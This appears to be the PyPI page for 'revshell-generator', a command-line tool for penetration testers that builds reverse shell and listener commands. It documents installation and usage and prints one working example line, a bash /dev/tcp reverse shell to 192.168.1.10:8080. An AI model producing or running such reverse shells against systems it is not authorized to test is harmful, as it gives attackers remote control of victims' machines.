Reverse shell commands generator
Project description
General Information
https://pypi.org/project/revshell-generator/
The Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.
Installation
You can either clone the repository or install the package from PyPI.
Clone the repository:
apt install python3 python3-pip
git clone https://github.com/totekuh/reverse-shell-generator
cd reverse-shell-generator
pip3 install .
python3 revshellgenerator.py -h
PyPI:
sudo apt install python3 python3-pip
sudo pip3 install revshell-generator
revshell-generator -h
Usage
You can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.
Running the Reverse Shell Generator
$ revshell-generator
Welcome to the reverse shell generator. Type 'help' or '?' to list available commands.
Setting Reverse IP Address and Port
revshell-generator --ip 192.168.1.10 --port 8080 --shell /bin/bash
You can also specify the IP address by providing a network interface name:
revshell-generator --ip eth0 --port 8080 --shell /bin/bash
In interactive mode, you can set these parameters using the ip, port, and shell commands:
>> ip 192.168.1.10
>> port 8080
>> shell /bin/bash
Listing Available Reverse Shell Commands
>> list reverse
Note: the indexes are used while choosing the command template.
Listing Available Listener Commands
>> list listeners
Generating Reverse Shell Commands
$ python3 revshellgenerator.py
>> get reverse 0
The above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:
bash -i >& /dev/tcp/192.168.1.10/8080 0>&1
Generating Listener Commands
>> get listeners 10
For more detailed instructions and specific commands, use the 'help' command followed by the command name, such as help list
or help get
.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Hashes for revshell-generator-1.0.12.tar.gz
Algorithm | Hash digest | |
---|---|---|
SHA256 | c68da0d94f0a17d1803fdde4b945fe1f5c43258f52ceb9fe241fc1f462f2d9b4 |
|
MD5 | 4af5768623e8fb36a44482b993a1f7c7 |
|
BLAKE2b-256 | 6065189de1d6a199965afddf08dfcf4781a723741c6a04143d70e1c76a804283 |
Hashes for revshell_generator-1.0.12-py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | 0885d1ad78839b2dd0f66dd94a6d3f522335f8efef07458bc3b6788f080cb7ed |
|
MD5 | e2d5dfe5bb6b9f259533bb4b6ce382f3 |
|
BLAKE2b-256 | 39e1f50a423ab08834fd24642aa4a063b2f1e77548a093438a7882bff8e5ffe9 |